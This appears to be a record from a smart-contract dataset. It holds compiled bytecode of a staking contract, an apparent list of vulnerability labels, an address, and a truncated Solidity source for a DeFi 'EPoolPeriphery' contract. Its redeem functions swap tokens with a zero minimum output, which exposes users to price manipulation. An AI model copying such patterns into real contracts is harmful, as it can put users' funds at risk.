ffffffffffffffffffffffffffffffff811660009081526021602052604090205460ff166133c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f496e76616c6964206d69677261746f72206164647265737300000000000000006044820152606401610c7c565b33600090815260236020908152604080832073ffffffffffffffffffffffffffffffffffffffff9490941683529290522080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b6134276000611b32565b600b5442111561343b57613439614ac1565b565b60006134456134d3565b60178190559050613454614dab565b600c5550565b6000806134678385615b13565b905083811015610bd6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c7c565b6000601c54600014806134e65750601d54155b156134f2575060175490565b61104a613525601d54610bca61350661276e565b6110446135116112a2565b611044600c5461351f614dab565b9061352e565b6017549061345a565b6000610bd683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250614db9565b60008261357f57506000610d99565b600061358b8385615cd3565b9050826135988583615c07565b14610bd6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f77000000000000000000000000000000000000000000000000000000000000006064820152608401610c7c565b6000610bd683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614e0d565b8460016136748282614e55565b6025546301000000900460ff1615806136a157503360009081526021602052604090205460ff1615156001145b613707576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f5374616b696e6720706175736564206f7220696e206d6967726174696f6e00006044820152606401610c7c565b73ffffffffffffffffffffffffffffffffffffffff871660009081526024602052604090205460ff1615613797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f4164647265737320686173206265656e20677265796c697374656400000000006044820152606401610c7c565b601154841015613803576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f4d696e696d756d207374616b652074696d65206e6f74206d65740000000000006044820152606401610c7c565b60105484111561386f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f547279696e6720746f206c6f636b20666f7220746f6f206c6f6e6700000000006044820152606401610c7c565b600080600061387f886001614f77565b93509350935050600061389188610d46565b73ffffffffffffffffffffffffffffffffffffffff8c1660009081526020808052604091829020825160e0810184528d81529182018890529181018a905291925090606081016138e18a8c61345a565b8152602080820194909452600286810b60408084019190915286820b606093840152845460018082018755600096875295879020855160069092020190815595840151948601949094558284015185820155908201516003850155608082015160048086019190915560a08301516005909501805460c090940151830b62ffffff9081166301000000027fffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000009095169690930b929092169490941791909117905560075490517f42842e0e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8c811693820193909352306024820152604481018b90529116906342842e0e90606401600060405180830381600087803b158015613a1b57600080fd5b505af1158015613a2f573d6000803e3d6000fd5b5050601c54613a41925090508461345a565b601c5573ffffffffffffffffffffffffffffffffffffffff8a166000908152601e6020526040902054613a74908461345a565b73ffffffffffffffffffffffffffffffffffffffff8b166000908152601e6020526040812091909155613aa8908b90614e55565b60408051848152602081018a905290810188905273ffffffffffffffffffffffffffffffffffffffff8a811660608301528b16907f31784953dbbbbfd278bcb87e70e78b0979b28f456dec0e601b24aa9a2727d1ce9060800160405180910390a250505050505050505050565b613b1f8383614019565b50613b666040518060e001604052806000815260200160008152602001600081526020016000815260200160008152602001600060020b8152602001600060020b81525090565b600060208201819052805b73ffffffffffffffffffffffffffffffffffffffff86166000908152602080526040902054811015613cff5773ffffffffffffffffffffffffffffffffffffffff861660009081526020805260409020805482908110613bfa577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906006020160000154841415613ced5773ffffffffffffffffffffffffffffffffffffffff861660009081526020805260409020805482908110613c70577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020918290206040805160e08101825260069093029091018054835260018101549383019390935260028084015491830191909152600383015460608301526004830154608083015260059092015480830b830b830b60a083015263010000009004820b820b90910b60c08201529250905080613cff565b80613cf781615e48565b915050613b71565b5081518314613d6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f546f6b656e204944206e6f7420666f756e6400000000000000000000000000006044820152606401610c7c565b816060015142101580613d8a575060255462010000900460ff1615156001145b80613da957503360009081526021602052604090205460ff1615156001145b613e0f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f5374616b65206973207374696c6c206c6f636b656421000000000000000000006044820152606401610c7c565b6020820151801561401157601c54613e27908261352e565b601c5573ffffffffffffffffffffffffffffffffffffffff86166000908152601e6020526040902054613e5a908261352e565b73ffffffffffffffffffffffffffffffffffffffff87166000908152601e6020908152604080832093909355805220805483908110613ec2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000918252602082206006909102018181556001810182905560028101829055600381018290556004810182905560050180547fffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000169055613f24908790614e55565b6007546040517f42842e0e00000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff878116602483015260448201879052909116906342842e0e90606401600060405180830381600087803b158015613f9e57600080fd5b505af1158015613fb2573d6000803e3d6000fd5b5050604080518481526020810188905273ffffffffffffffffffffffffffffffffffffffff898116828401529151918a1693507f88ac64fdaa180cbd77b625cbb795a39a7b7d1b3b478d09f28f6bb89ee0fa1e51925081900360600190a25b505050505050565b60008260016140288282614e55565b73ffffffffffffffffffffffffffffffffffffffff8516600090815260196020526040902054925082156143775773ffffffffffffffffffffffffffffffffffffffff80861660009081526019602052604081205560045461408c9116858561437f565b6000806140d56040518060e001604052806000815260200160008152602001600081526020016000815260200160008152602001600060020b8152602001600060020b81525090565b60005b73ffffffffffffffffffffffffffffffffffffffff891660009081526020805260409020548110156143055773ffffffffffffffffffffffffffffffffffffffff891660009081526020805260409020805482908110614161577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020918290206040805160e081018252600690930290910180548084526001820154948401949094526002808201549284019290925260038101546060840152600481015460808401526005015480820b820b820b60a084015263010000009004810b810b900b60c08201529250156142f357604080516080810182528351815273ffffffffffffffffffffffffffffffffffffffff8a8116602083019081526fffffffffffffffffffffffffffffffff8385018181526060850182815260075496517ffc6f7865000000000000000000000000000000000000000000000000000000008152865160048201529351851660248501529051821660448401525116606482015291926000928392919091169063fc6f7865906084016040805180830381600087803b15801561429a57600080fd5b505af11580156142ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906142d2919061580c565b90925090506142e1878361345a565b96506142ed868261345a565b95505050505b806142fd81615e48565b9150506140d8565b50600454604080518881526020810186905290810184905273ffffffffffffffffffffffffffffffffffffffff91821660608201528882166080820152908916907f96ad88e4f6444f9224c830f0448b73c991f51cce39424918e9cef4a691e02b489060a00160405180910390a25050505b505092915050565b6040805173ffffffffffffffffffffffffffffffffffffffff8481166024830152604480830185905283518084039091018152606490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001790529151600092839290871691614416919061595d565b6000604051808303816000865af19150503d8060008114614453576040519150601f19603f3d011682016040523d82523d6000602084013e614458565b606091505b50915091508180156144825750805115806144825750808060200190518101906144829190615731565b6144e8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c4544006044820152606401610c7c565b5050505050565b60008060008360020b12614506578260020b614513565b8260020b61451390615ed2565b905061453e7ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff27618615e95565b60020b8113156145aa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f54000000000000000000000000000000000000000000000000000000000000006044820152606401610c7c565b6000600182166145cb577001000000000000000000000000000000006145dd565b6ffffcb933bd6fad37aa2d162d1a5940015b70ffffffffffffffffffffffffffffffffff169050600282161561461c576080614617826ffff97272373d413259a46990580e213a615cd3565b901c90505b6004821615614646576080614641826ffff2e50f5f656932ef12357cf3c7fdcc615cd3565b901c90505b600882161561467057608061466b826fffe5caca7e10e4e61c3624eaa0941cd0615cd3565b901c90505b601082161561469a576080614695826fffcb9843d60f6159c9db58835c926644615cd3565b901c90505b60208216156146c45760806146bf826fff973b41fa98c081472e6896dfb254c0615cd3565b901c90505b60408216156146ee5760806146e9826fff2ea16466c96a3843ec78b326b52861615cd3565b901c90505b6080821615614718576080614713826ffe5dee046a99a2a811c461f1969c3053615cd3565b901c90505b61010082161561474357608061473e826ffcbe86c7900a88aedcffc83b479aa3a4615cd3565b901c90505b61020082161561476e576080614769826ff987a7253ac413176f2b074cf7815e54615cd3565b901c90505b610400821615614799576080614794826ff3392b0822b70005940c7a398e4b70f3615cd3565b901c90505b6108008216156147c45760806147bf826fe7159475a2c29b7443b29c7fa6e889d9615cd3565b901c90505b6110008216156147ef5760806147ea826fd097f3bdfd2022b8845ad8f792aa5825615cd3565b901c90505b61200082161561481a576080614815826fa9f746462d870fdf8a65dc1f90e061e5615cd3565b901c90505b614000821615614845576080614840826f70d869a156d2a1b890bb3df62baf32f7615cd3565b901c90505b61800082161561487057608061486b826f31be135f97d08fd981231505542fcfa6615cd3565b901c90505b6201000082161561489c576080614897826f09aa508b5b7a84e1c677de54f3e99bc9615cd3565b901c90505b620200008216156148c75760806148c2826e5d6af8dedb81196699c329225ee604615cd3565b901c90505b620400008216156148f15760806148ec826d2216e584f5fa1ea926041bedfe98615cd3565b901c90505b62080000821615614919576080614914826b048a170391f7dc42444e8fa2615cd3565b901c90505b60008460020b13156149525761494f817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff615c07565b90505b61496164010000000082615e81565b1561496d576001614970565b60005b6112919060ff16602083901c615b13565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1611156149bb579192915b73ffffffffffffffffffffffffffffffffffffffff8416614a347bffffffffffffffffffffffffffffffff000000000000000000000000606085901b16614a028787615dd0565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff166151b0565b6112919190615c07565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161115614a78579192915b6112916fffffffffffffffffffffffffffffffff8316614a988686615dd0565b73ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000006151b0565b600b544211614b2c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f506572696f6420686173206e6f742065787069726564207965742100000000006044820152606401610c7c565b6006546040517f092193ab00000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff9091169063092193ab906024016040805180830381600087803b158015614b9657600080fd5b505af1158015614baa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614bce919061580c565b50506000600e54614bea600b544261352e90919063ffffffff16565b614bf49190615c07565b600480546040517f70a08231000000000000000000000000000000000000000000000000000000008152309281019290925291925060009173ffffffffffffffffffffffffffffffffffffffff16906370a082319060240160206040518083038186803b158015614c6457600080fd5b505afa158015614c78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614c9c91906157af565b905080614cbb614cad846001615b13565b611044600e546110446112a2565b1115614d23576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f4e6f7420656e6f7567682046585320617661696c61626c6500000000000000006044820152606401610c7c565b600e54614d4290614d399061104485600161345a565b600b549061345a565b600b556000614d4f6134d3565b60178190559050614d5e614dab565b600c5560075460405173ffffffffffffffffffffffffffffffffffffffff90911681527f6f2b3b3aaf1881d69a5d40565500f93ea73df36e7b6a29bf48b21479a9237fe9906020016119da565b600061104a42600b54615371565b60008184841115614df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7c9190615a4f565b506000614e048486615e05565b95945050505050565b60008183614e48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7c9190615a4f565b506000614e048486615c07565b8015614e6357614e6361341d565b73ffffffffffffffffffffffffffffffffffffffff821615611782576000806000614e8d856121d4565b925092509250614e9c85615387565b73ffffffffffffffffffffffffffffffffffffffff85166000908152601460205260409020829055828110614f20576000614ed7828561352e565b601d54909150614ee7908261345a565b601d55614ef4848261345a565b73ffffffffffffffffffffffffffffffffffffffff87166000908152601f6020526040902055506144e8565b6000614f2c848361352e565b601d54909150614f3c908261352e565b601d55614f49848261352e565b73ffffffffffffffffffffffffffffffffffffffff87166000908152601f6020526040902055505050505050565b600080600080600080600080600080600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166399fbab888d6040518263ffffffff1660e01b8152600401614fe391815260200190565b6101806040518083038186803b158015614ffc57600080fd5b505afa158015615010573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190615034919061587e565b505050506fffffffffffffffffffffffffffffffff169750975097509750975097505050600099508098506015600c9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161480156150d6575060165473ffffffffffffffffffffffffffffffffffffffff8681169116145b80156150f8575060155462ffffff858116690100000000000000000090920416145b801561510e5750601554600284810b91810b900b145b801561512b5750601554600283810b6301000000909204810b900b145b1561513957600199506151a1565b8a156151a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f57726f6e6720746f6b656e2063686172616374657269737469637300000000006044820152606401610c7c565b50979a96995097505050505050565b600080807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff858709858702925082811083820303915050806000141561520857600084116151fd57600080fd5b508290049050610bd6565b80841161521457600080fd5b600084868809808403938111909203919050600085615253817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff615e05565b61525e906001615b13565b1695869004959384900493600081900304600101905061527e8184615cd3565b90931792600061528f876003615cd3565b600218905061529e8188615cd3565b6152a9906002615e05565b6152b39082615cd3565b90506152bf8188615cd3565b6152ca906002615e05565b6152d49082615cd3565b90506152e08188615cd3565b6152eb906002615e05565b6152f59082615cd3565b90506153018188615cd3565b61530c906002615e05565b6153169082615cd3565b90506153228188615cd3565b61532d906002615e05565b6153379082615cd3565b90506153438188615cd3565b61534e906002615e05565b6153589082615cd3565b90506153648186615cd3565b9998505050505050505050565b60008183106153805781610bd6565b5090919050565b73ffffffffffffffffffffffffffffffffffffffff811615611cb95760006153ae82610b3d565b73ffffffffffffffffffffffffffffffffffffffff83166000908152601960209081526040808320939093556017546018909152919020555050565b80516153f581615f95565b919050565b600082601f83011261540a578081fd5b8151602061541f61541a83615aef565b615aa0565b80838252828201915082860187848660051b890101111561543e578586fd5b855b8581101561546557815161545381615f95565b84529284019290840190600101615440565b5090979650505050505050565b8051600281900b81146153f557600080fd5b80516fffffffffffffffffffffffffffffffff811681146153f557600080fd5b805162ffffff811681146153f557600080fd5b6000602082840312156154c8578081fd5b8135610bd681615f95565b600080604083850312156154e5578081fd5b82356154f081615f95565b9150602083013561550081615f95565b809150509250929050565b60008060008060808587031215615520578182fd5b843561552b81615f95565b935060208581013561553c81615f95565b935060408601359250606086013567ffffffffffffffff8082111561555f578384fd5b818801915088601f830112615572578384fd5b81358181111561558457615584615f66565b6155b4847fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f84011601615aa0565b915080825289848285010111156155c9578485fd5b8084840185840137810190920192909252939692955090935050565b600080604083850312156155f7578182fd5b823561560281615f95565b946020939093013593505050565b60008060008060808587031215615625578384fd5b843561563081615f95565b966020860135965060408601359560600135945092505050565b6000806040838503121561565c578182fd5b825167ffffffffffffffff80821115615673578384fd5b818501915085601f830112615686578384fd5b8151602061569661541a83615aef565b8083825282820191508286018a848660051b89010111156156b5578889fd5b8896505b848710156156e55780518060060b81146156d157898afd5b8352600196909601959183019183016156b9565b50918801519196509093505050808211156156fe578283fd5b5061570b858286016153fa565b9150509250929050565b600060208284031215615726578081fd5b8135610bd681615fb7565b600060208284031215615742578081fd5b8151610bd681615fb7565b600080600060608486031215615761578081fd5b833561576c81615fb7565b9250602084013561577c81615fb7565b9150604084013561578c81615fb7565b809150509250925092565b6000602082840312156157a8578081fd5b5035919050565b6000602082840312156157c0578081fd5b5051919050565b600080604083850312156157d9578182fd5b82359150602083013561550081615fb7565b600080604083850312156157fd578182fd5b50508035926020909101359150565b6000806040838503121561581e578182fd5b505080516020909101519092909150565b600080600060608486031215615843578081fd5b505081359360208301359350604090920135919050565b60006020828403121561586b578081fd5b813563ffffffff81168114610bd6578182fd5b6000806000806000806000806000806000806101808d8f0312156158a057898afd5b8c516bffffffffffffffffffffffff811681146158bb578a8bfd5b9b506158c960208e016153ea565b9a506158d760408e016153ea565b99506158e560608e016153ea565b98506158f360808e016154a4565b975061590160a08e01615472565b965061590f60c08e01615472565b955061591d60e08e01615484565b94506101008d015193506101208d0151925061593c6101408e01615484565b915061594b6101608e01615484565b90509295989b509295989b509295989b565b6000825161596f818460208701615e1c565b9190910192915050565b602080825282518282018190526000919060409081850190868401855b828110156159f85781518051855286810151878601528581015186860152606080820151908601526080808201519086015260a080820151600290810b9187019190915260c091820151900b9085015260e09093019290850190600101615996565b5091979650505050505050565b6020808252825182820181905260009190848201906040850190845b81811015615a4357835163ffffffff1683529284019291840191600101615a21565b50909695505050505050565b6020815260008251806020840152615a6e816040850160208701615e1c565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff81118282101715615ae757615ae7615f66565b604052919050565b600067ffffffffffffffff821115615b0957615b09615f66565b5060051b60200190565b60008219821115615b2657615b26615f08565b500190565b600082615b3a57615b3a615f37565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83147f800000000000000000000000000000000000000000000000000000000000000083141615615b8e57615b8e615f08565b500590565b60008160060b8360060b80615baa57615baa615f37565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81147fffffffffffffffffffffffffffffffffffffffffffffffffff8000000000000083141615615bfe57615bfe615f08565b90059392505050565b600082615c1657615c16615f37565b500490565b60007f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81841382841385830485118282161615615c5a57615c5a615f08565b7f800000000000000000000000000000000000000000000000000000000000000084871286820588128184161615615c9457615c94615f08565b858712925087820587128484161615615caf57615caf615f08565b87850587128184161615615cc557615cc5615f08565b505050929093029392505050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615615d0b57615d0b615f08565b500290565b60008160020b8360020b828112817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff80000001831281151615615d5257615d52615f08565b81627fffff018313811615615d6957615d69615f08565b5090039392505050565b60008160060b8360060b828112817fffffffffffffffffffffffffffffffffffffffffffffffffff8000000000000001831281151615615db557615db5615f08565b81667fffffffffffff018313811615615d6957615d69615f08565b600073ffffffffffffffffffffffffffffffffffffffff83811690831681811015615dfd57615dfd615f08565b039392505050565b600082821015615e1757615e17615f08565b500390565b60005b83811015615e37578181015183820152602001615e1f565b838111156111885750506000910152565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415615e7a57615e7a615f08565b5060010190565b600082615e9057615e90615f37565b500690565b60008160020b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff800000811415615ecb57615ecb615f08565b9003919050565b60007f8000000000000000000000000000000000000000000000000000000000000000821415615f0457615f04615f08565b0390565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff81168114611cb957600080fd5b8015158114611cb957600080fdfea264697066735822122082f058b0e9c221275d81d444836b6924a5cf759eba66685fba3654106c02253f64736f6c63430008040033
[ 4, 7, 19, 9, 12, 5 ]
0xF22482e6B98bdde2427B091c1c131996583FDb22
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/IKeeperSubsidyPool.sol"; import "./interfaces/IUniswapRouterV2.sol"; import "./interfaces/IUniswapFactory.sol"; import "./interfaces/IUniswapV2Pair.sol"; import "./interfaces/IEToken.sol"; import "./interfaces/IEPoolPeriphery.sol"; import "./interfaces/IEPool.sol"; import "./utils/ControllerMixin.sol"; import "./utils/TokenUtils.sol"; import "./EPoolLibrary.sol"; import "hardhat/console.sol"; contract EPoolPeriphery is ControllerMixin, IEPoolPeriphery { using SafeERC20 for IERC20; using TokenUtils for IERC20; using TokenUtils for IEToken; IUniswapV2Factory public immutable override factory; IUniswapV2Router01 public immutable override router; // Keeper subsidy pool for making rebalancing via flash swaps capital neutral for msg.sender IKeeperSubsidyPool public immutable override keeperSubsidyPool; // supported EPools by the periphery mapping(address => bool) public override ePools; // max. allowed slippage between EPool oracle and uniswap when executing a flash swap uint256 public override maxFlashSwapSlippage; event IssuedEToken( address indexed ePool, address indexed eToken, uint256 amount, uint256 amountA, uint256 amountB, address user ); event RedeemedEToken( address indexed ePool, address indexed eToken, uint256 amount, uint256 amountA, uint256 amountB, address user ); event SetEPoolApproval(address indexed ePool, bool approval); event SetMaxFlashSwapSlippage(uint256 maxFlashSwapSlippage); event RecoveredToken(address token, uint256 amount); /** * @param _controller Address of the controller * @param _factory Address of the Uniswap V2 factory * @param _router Address of the Uniswap V2 router * @param _keeperSubsidyPool Address of keeper subsidiy pool * @param _maxFlashSwapSlippage Max. allowed slippage between EPool oracle and uniswap */ constructor( IController _controller, IUniswapV2Factory _factory, IUniswapV2Router01 _router, IKeeperSubsidyPool _keeperSubsidyPool, uint256 _maxFlashSwapSlippage ) ControllerMixin(_controller) { factory = _factory; router = _router; keeperSubsidyPool = _keeperSubsidyPool; maxFlashSwapSlippage = _maxFlashSwapSlippage; // e.g. 1.05e18 -> 5% slippage } /** * @notice Returns the address of the current Aggregator which provides the exchange rate between TokenA and TokenB * @return Address of aggregator */ function getController() external view override returns (address) { return address(controller); } /** * @notice Updates the Controller * @dev Can only called by an authorized sender * @param _controller Address of the new Controller * @return True on success */ function setController(address _controller) external override onlyDao("EPoolPeriphery: not dao") returns (bool) { _setController(_controller); return true; } /** * @notice Give or revoke approval a EPool for the EPoolPeriphery * @dev Can only called by the DAO or the guardian * @param ePool Address of the EPool * @param approval Boolean on whether approval for EPool should be given or revoked * @return True on success */ function setEPoolApproval( IEPool ePool, bool approval ) external override onlyDaoOrGuardian("EPoolPeriphery: not dao or guardian") returns (bool) { if (approval) { // assuming EPoolPeriphery only holds funds within calls ePool.tokenA().approve(address(ePool), type(uint256).max); ePool.tokenB().approve(address(ePool), type(uint256).max); ePools[address(ePool)] = true; } else { ePool.tokenA().approve(address(ePool), 0); ePool.tokenB().approve(address(ePool), 0); ePools[address(ePool)] = false; } emit SetEPoolApproval(address(ePool), approval); return true; } /** * @notice Set max. slippage between EPool oracle and uniswap when performing flash swap * @dev Can only be callede by the DAO or the guardian * @param _maxFlashSwapSlippage Max. flash swap slippage * @return True on success */ function setMaxFlashSwapSlippage( uint256 _maxFlashSwapSlippage ) external override onlyDaoOrGuardian("EPoolPeriphery: not dao or guardian") returns (bool) { maxFlashSwapSlippage = _maxFlashSwapSlippage; emit SetMaxFlashSwapSlippage(maxFlashSwapSlippage); return true; } /** * @notice Issues an amount of EToken for maximum amount of TokenA * @dev Reverts if maxInputAmountA is exceeded. Unused amount of TokenA is refunded to msg.sender. * Requires setting allowance for TokenA. * @param ePool Address of the EPool * @param eToken Address of the EToken of the tranche * @param amount Amount of EToken to issue * @param maxInputAmountA Max. amount of TokenA to deposit * @param deadline Timestamp at which tx expires * @return True on success */ function issueForMaxTokenA( IEPool ePool, address eToken, uint256 amount, uint256 maxInputAmountA, uint256 deadline ) external override returns (bool) { require(ePools[address(ePool)], "EPoolPeriphery: unapproved EPool"); (IERC20 tokenA, IERC20 tokenB) = (ePool.tokenA(), ePool.tokenB()); tokenA.safeTransferFrom(msg.sender, address(this), maxInputAmountA); IEPool.Tranche memory t = ePool.getTranche(eToken); (uint256 amountA, uint256 amountB) = EPoolLibrary.tokenATokenBForEToken( t, amount, ePool.getRate(), ePool.sFactorA(), ePool.sFactorB() ); // swap part of input amount for amountB require(maxInputAmountA >= amountA, "EPoolPeriphery: insufficient max. input"); uint256 amountAToSwap = maxInputAmountA - amountA; address[] memory path = new address[](2); path[0] = address(tokenA); path[1] = address(tokenB); tokenA.approve(address(router), amountAToSwap); uint256[] memory amountsOut = router.swapTokensForExactTokens( amountB, amountAToSwap, path, address(this), deadline ); // do the deposit (TokenA is already approved) ePool.issueExact(eToken, amount); // transfer EToken to msg.sender IERC20(eToken).safeTransfer(msg.sender, amount); // refund unused maxInputAmountA -= amountA + amountASwappedForAmountB tokenA.safeTransfer(msg.sender, maxInputAmountA - amountA - amountsOut[0]); emit IssuedEToken(address(ePool), eToken, amount, amountA, amountB, msg.sender); return true; } /** * @notice Issues an amount of EToken for maximum amount of TokenB * @dev Reverts if maxInputAmountB is exceeded. Unused amount of TokenB is refunded to msg.sender. * Requires setting allowance for TokenB. * @param ePool Address of the EPool * @param eToken Address of the EToken of the tranche * @param amount Amount of EToken to issue * @param maxInputAmountB Max. amount of TokenB to deposit * @param deadline Timestamp at which tx expires * @return True on success */ function issueForMaxTokenB( IEPool ePool, address eToken, uint256 amount, uint256 maxInputAmountB, uint256 deadline ) external override returns (bool) { require(ePools[address(ePool)], "EPoolPeriphery: unapproved EPool"); (IERC20 tokenA, IERC20 tokenB) = (ePool.tokenA(), ePool.tokenB()); tokenB.safeTransferFrom(msg.sender, address(this), maxInputAmountB); IEPool.Tranche memory t = ePool.getTranche(eToken); (uint256 amountA, uint256 amountB) = EPoolLibrary.tokenATokenBForEToken( t, amount, ePool.getRate(), ePool.sFactorA(), ePool.sFactorB() ); // swap part of input amount for amountB require(maxInputAmountB >= amountB, "EPoolPeriphery: insufficient max. input"); uint256 amountBToSwap = maxInputAmountB - amountB; address[] memory path = new address[](2); path[0] = address(tokenB); path[1] = address(tokenA); tokenB.approve(address(router), amountBToSwap); uint256[] memory amountsOut = router.swapTokensForExactTokens( amountA, amountBToSwap, path, address(this), deadline ); // do the deposit (TokenB is already approved) ePool.issueExact(eToken, amount); // transfer EToken to msg.sender IERC20(eToken).safeTransfer(msg.sender, amount); // refund unused maxInputAmountB -= amountB + amountBSwappedForAmountA tokenB.safeTransfer(msg.sender, maxInputAmountB - amountB - amountsOut[0]); emit IssuedEToken(address(ePool), eToken, amount, amountA, amountB, msg.sender); return true; } /** * @notice Redeems an amount of EToken for a min. amount of TokenA * @dev Reverts if minOutputA is not met. Requires setting allowance for EToken * @param ePool Address of the EPool * @param eToken Address of the EToken of the tranche * @param amount Amount of EToken to redeem * @param minOutputA Min. amount of TokenA to withdraw * @param deadline Timestamp at which tx expires * @return True on success */ function redeemForMinTokenA( IEPool ePool, address eToken, uint256 amount, uint256 minOutputA, uint256 deadline ) external override returns (bool) { require(ePools[address(ePool)], "EPoolPeriphery: unapproved EPool"); (IERC20 tokenA, IERC20 tokenB) = (ePool.tokenA(), ePool.tokenB()); IERC20(eToken).safeTransferFrom(msg.sender, address(this), amount); // do the withdraw IERC20(eToken).approve(address(ePool), amount); (uint256 amountA, uint256 amountB) = ePool.redeemExact(eToken, amount); // convert amountB withdrawn from EPool into TokenA address[] memory path = new address[](2); path[0] = address(tokenB); path[1] = address(tokenA); tokenB.approve(address(router), amountB); uint256[] memory amountsOut = router.swapExactTokensForTokens( amountB, 0, path, address(this), deadline ); uint256 outputA = amountA + amountsOut[1]; require(outputA >= minOutputA, "EPoolPeriphery: insufficient output amount"); IERC20(tokenA).safeTransfer(msg.sender, outputA); emit RedeemedEToken(address(ePool), eToken, amount, amountA, amountB, msg.sender); return true; } /** * @notice Redeems an amount of EToken for a min. amount of TokenB * @dev Reverts if minOutputB is not met. Requires setting allowance for EToken * @param ePool Address of the EPool * @param eToken Address of the EToken of the tranche * @param amount Amount of EToken to redeem * @param minOutputB Min. amount of TokenB to withdraw * @param deadline Timestamp at which tx expires * @return True on success */ function redeemForMinTokenB( IEPool ePool, address eToken, uint256 amount, uint256 minOutputB, uint256 deadline ) external override returns (bool) { require(ePools[address(ePool)], "EPoolPeriphery: unapproved EPool"); (IERC20 tokenA, IERC20 tokenB) = (ePool.tokenA(), ePool.tokenB()); IERC20(eToken).safeTransferFrom(msg.sender, address(this), amount); // do the withdraw IERC20(eToken).approve(address(ePool), amount); (uint256 amountA, uint256 amountB) = ePool.redeemExact(eToken, amount); // convert amountB withdrawn from EPool into TokenA address[] memory path = new address[](2); path[0] = address(tokenA); path[1] = address(tokenB); tokenA.approve(address(router), amountA); uint256[] memory amountsOut = router.swapExactTokensForTokens( amountA, 0, path, address(this), deadline ); uint256 outputB = amountB + amountsOut[1]; require(outputB >= minOutputB, "EPoolPeriphery: insufficient output amount"); IERC20(tokenB).safeTransfer(msg.sender, outputB); emit RedeemedEToken(address(ePool), eToken, amount, amountA, amountB, msg.sender); return true; } /** * @notice Rebalances a EPool. Capital required for rebalancing is obtained via a flash swap. * The potential slippage between the EPool oracle and uniswap is covered by the KeeperSubsidyPool. * @dev Fails if maxFlashSwapSlippage is exceeded in uniswapV2Call * @param ePool Address of the EPool to rebalance * @param fracDelta Fraction of the delta to rebalance (1e18 for rebalancing the entire delta) * @return True on success */ function rebalanceWithFlashSwap( IEPool ePool, uint256 fracDelta ) external 